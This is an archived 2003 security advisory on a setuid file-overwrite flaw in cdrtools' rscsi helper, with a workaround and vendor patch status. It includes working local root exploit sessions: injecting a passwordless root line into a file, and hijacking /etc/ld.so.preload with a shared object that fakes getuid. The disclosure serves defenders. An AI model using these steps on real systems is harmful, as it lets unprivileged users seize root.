home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / srt / SRT2003-08-01-0126.txt
Encoding:
Text File  |  2003-08-19  |  4.4 KB  |  121 lines

  1. Secure Network Operations, Inc.áááááááááá http://www.secnetops.com
  2. Strategic Reconnaissance Teamáááááááááááááá research@secnetops.com
  3. Team Lead Contactáááááááááááááááááááááááááááááááá kf@secnetops.com
  4.  
  5.  
  6. Our Mission:
  7. ************************************************************************
  8. Secure Network Operations offers expertise in Networking, Intrusion 
  9. Detection Systems (IDS), Software Security Validation, and 
  10. Corporate/Private Network Security. Our mission is to facilitate a 
  11. secure and reliable Internet and inter-enterprise communications 
  12. infrastructure through the products and services we offer. 
  13.  
  14.  
  15. Quick Summary:
  16. ************************************************************************
  17. Advisory Numberáááááááá : SRT2003-08-01-0126
  18. Productáááááááááááááááá : cdrtools (rscsi)
  19. Versionáááááááááááááááá : Versioná <= cdrtools-2.x
  20. Vendorááááááááááááááááá : ftp://ftp.berlios.de/pub/cdrecord/
  21. Classáááááááááááááááááá : local
  22. Criticalityáááááááááááá : High
  23. Operating System(s)áááá : *nix
  24.  
  25.  
  26. High Level Explanation
  27. ************************************************************************
  28. High Level Descriptioná : suid rscsi overwrites root owned files
  29. What to doááááááááááááá : chmod -s /opt/schily/sbin/rscsi
  30.  
  31.  
  32. Technical Details
  33. ************************************************************************
  34. Proof Of Concept Status : SNO has PoC code for this issue
  35. Low Level Descriptionáá : 
  36.  
  37. Cdrecord supports DVD-R and DVD-RW with all known DVD-writers on all UNIX
  38. like operating systems and on Win32. 
  39.  
  40. A setuid helper binary allows files to be overwritten by non root users. 
  41. One side effect of the overwritten file is that the permissions become
  42. writable by the user calling the rscsi program. These issues can allow a
  43. non root user to take local root on the machine that has cdrtools installed
  44.  
  45. Initial attempts to exploit this issue failed for an unknown reason... this
  46. however may still be a valid method of attack. We make use of the first 
  47. argument passed to rscsi in order to choose the file we wish to write to.
  48.  
  49. Due to the output from rscsi we make use of 0x08 in order to delete some of 
  50. the characters that otherwise would be written. This attack method relys on 
  51. placing a line of text at the end of a file. Please note that 2 other lines 
  52. of garbage will be placed in the file which may cause other issues. 
  53.  
  54. elguapo@gentoo elguapo $ echo C`echo -e 
  55. "\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08r00t::0:0:root:/:/bin/bash\x0a"` | 
  56. /opt/schily/sbin/rscsi /tmp/lala
  57. Segmentation fault (this segfault is not related to the security issue)
  58.  
  59. elguapo@gentoo elguapo $ cat /tmp/lala
  60. rscsid: user id 1000, name elguapo
  61. rmt: stdin is a PIPE
  62. r00t::0:0:root:/root:/bin/bash
  63.  
  64. When attempting to echo this line to the password file we get the following 
  65. error. Please note that the password file IS still overwritten at this point. 
  66.  
  67. E0
  68. Illegal user id for RSCSI server
  69. 0
  70.  
  71. elguapo@gentoo elguapo $ catá /etc/passwd
  72. rscsid: Illegal user '(NULL POINTER)' id 1000 for RSCSI server
  73. rscsid:>E 0 (Illegal user id for RSCSI server) []
  74.  
  75. We DO however have other exploitation options such as the one listed below. 
  76.  
  77. [kf@vegeta kf]$ ls -al /etc/ld.so.preload
  78. ls: /etc/ld.so.preload: No such file or directory
  79.  
  80. [kf@vegeta kf]$ cat > oops.c
  81. int getuid(void)
  82. {
  83. return(0);
  84. }
  85.  
  86. [kf@vegeta kf]$ gcc -c -o oops.o oops.c
  87. [kf@vegeta kf]$ ld -shared -o oops.so oops.o
  88. [kf@vegeta kf]$ ls -al oops.so
  89. -rwxrwxr-xááá 1 kfáááááá kfáááááááááá 1714 Jul 30 18:53 oops.so
  90.  
  91. [kf@vegeta kf]$ echo duh_kf | /opt/schily/sbin/rscsi /etc/ld.so.preload
  92. E0
  93. Garbage command
  94. 0
  95.  
  96. Note that we now have write permissions to /etc/ld.so.preload
  97. -rw-rw-r--ááá 1 rootáááá kfááááááááááááá 1 Jul 30 19:29 /etc/ld.so.preload
  98.  
  99. Time to take root
  100. [kf@vegeta kf]$ echo /home/kf/oops.so > /etc/ld.so.preload
  101. [kf@vegeta kf]$ su
  102. [root@vegeta kf]# rm /etc/ld.so.preload
  103. rm: remove regular file `/etc/ld.so.preload'? y
  104. [root@vegeta kf]# id
  105. uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
  106.  
  107. Patch or Workaroundáááá : chmod -s /opt/schily/sbin/rscsi
  108.  
  109. Vendor Statusáááááááááá : patched in cdrtools-2.01a18.tar.gz
  110.  
  111. Bugtraq URLáááááááááááá : to be assigned
  112.  
  113. ------------------------------------------------------------------------
  114. This advisory was released by Secure Network Operations,Inc. as a matter
  115. of notification to help administrators protect their networks against
  116. the described vulnerability. Exploit source code is no longer released
  117. in our advisories. Contact research@secnetops.com for information on how
  118. to obtain exploit information.
  119.  
  120.  
  121.